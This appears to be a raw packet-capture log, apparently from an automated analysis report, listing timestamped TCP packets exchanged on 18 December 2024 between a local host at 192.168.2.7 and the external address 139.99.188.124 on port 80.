                                                        Dec 18, 2024 09:19:32.889305115 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.889312029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.889530897 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.890263081 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.890804052 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.891273022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.891331911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.891356945 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.891730070 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.893186092 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.893198967 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.893213034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.893399000 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.893594980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.893637896 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.895108938 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.895122051 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.895163059 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.895190954 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.895371914 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.895796061 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.896176100 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.897300005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.897313118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.897324085 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.897347927 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.897406101 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.898375988 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.898389101 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.898449898 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.899395943 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.899410963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.899476051 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.900217056 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.900423050 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.900506020 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.901206970 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.901351929 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.901514053 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.902220011 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.902358055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.902431011 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.903352022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.903428078 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.903522968 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.904460907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.904474020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.904519081 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.905414104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.905508041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.905558109 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.906301975 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.906353951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.906421900 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.907218933 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.907341003 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.907424927 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.908315897 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.908329010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.908440113 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.909480095 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.909579039 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.909653902 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.910242081 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.959698915 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.049839020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.049859047 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.050021887 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.050484896 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.050498009 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.050545931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.051454067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.051469088 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.051501036 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.052381992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.052617073 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.052764893 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.053476095 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.053622961 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.053663969 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.054445028 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.054589987 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.054676056 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.055377007 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.055389881 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.055460930 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.055565119 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.055655956 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.055696964 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.056410074 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.056577921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.056816101 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.057472944 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.057537079 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.057600021 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.058446884 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.058572054 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.058613062 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.059432030 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.059581041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.059763908 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.060482025 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.060511112 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.060550928 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.061431885 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.061570883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.061614037 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.062450886 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.062623978 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.062740088 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.063477993 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.063575029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.063636065 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.064477921 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.064558029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.064605951 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.065470934 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.065517902 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.065572977 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.066435099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.066572905 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.066642046 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.067491055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.067687035 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.067754984 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.068511963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.068634987 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.068675995 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.069504976 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.069710970 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.069758892 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.070446968 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.070581913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.070631027 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.071520090 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.071650982 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.071707010 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.072479010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.072624922 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.072679043 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.073673010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.073759079 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.073846102 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.074522018 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.074703932 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.074749947 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.075500011 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.075552940 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.075606108 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.076514959 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.076625109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.076827049 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.077478886 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.077593088 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.077665091 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.078506947 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.078586102 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.078727961 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.079544067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.079636097 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.079718113 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.080537081 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.080599070 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.080641031 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.081486940 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.081634998 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.081674099 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.082580090 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.082750082 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.082808971 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.083551884 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.083651066 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.084547997 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.084563971 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.084760904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.084809065 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.085522890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.085609913 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.085685968 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.086502075 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.086735964 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.086819887 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.087521076 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.087652922 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.087728024 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.088570118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.088655949 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.088699102 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.089525938 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.089596033 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.089855909 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.090536118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.090631962 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.090814114 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.091537952 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.091600895 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.091707945 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.092634916 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.092750072 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.092822075 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.093540907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.093647003 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.093734026 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.094708920 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.094937086 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.094995975 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.095558882 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.095719099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.095798969 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.096561909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.096653938 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.096729994 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.097569942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.097628117 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.097682953 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.098566055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.098634958 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.098690987 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.099637032 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.099694014 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.099775076 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.100569963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.100718975 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.100780010 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.101533890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.147149086 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.240006924 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.240056992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.240133047 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.240487099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.240658998 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.240748882 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.240761042 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.241688967 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.241770029 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.241802931 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.242692947 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.242743015 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.242827892 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.243773937 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.243805885 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.243833065 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.244688034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.244774103 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.245125055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.245726109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.245837927 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.245881081 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.246716976 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.246757984 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.246794939 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.247715950 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.247757912 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.247801065 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.248759985 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.248852015 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.248897076 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.249789000 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.249923944 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.250066042 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.250746012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.250859022 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.250907898 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.251718044 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.251794100 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.251805067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.252733946 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.252819061 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.252885103 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.253706932 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.253799915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.253818035 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.254718065 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.254779100 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.254796028 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.255717993 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.255832911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.255861044 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.256745100 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.256787062 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.256863117 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.257778883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.257819891 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.257936954 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.258776903 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.258817911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.258845091 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.259459019 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.259547949 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.259557009 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.260466099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.260561943 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.260592937 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.261456013 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.261553049 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.261575937 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.262481928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.262531042 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.262568951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.263484001 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.263557911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.263622046 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.264499903 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.264540911 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.264605999 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.265532017 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.265574932 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.265616894 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.266494989 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.266541004 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.266591072 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.267623901 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.267695904 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.267766953 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.268474102 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.268563032 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.268587112 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.269495010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.269540071 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.269599915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.270512104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.270623922 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.270668030 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.271471024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.271522045 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.271660089 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.272536039 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.272595882 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.272638083 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.273518085 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.273600101 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.273622036 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.274508953 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.274605989 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.274636984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.275821924 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.275898933 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.275976896 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.276537895 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.276604891 CET4971680192.168.2.7139.99.188.124
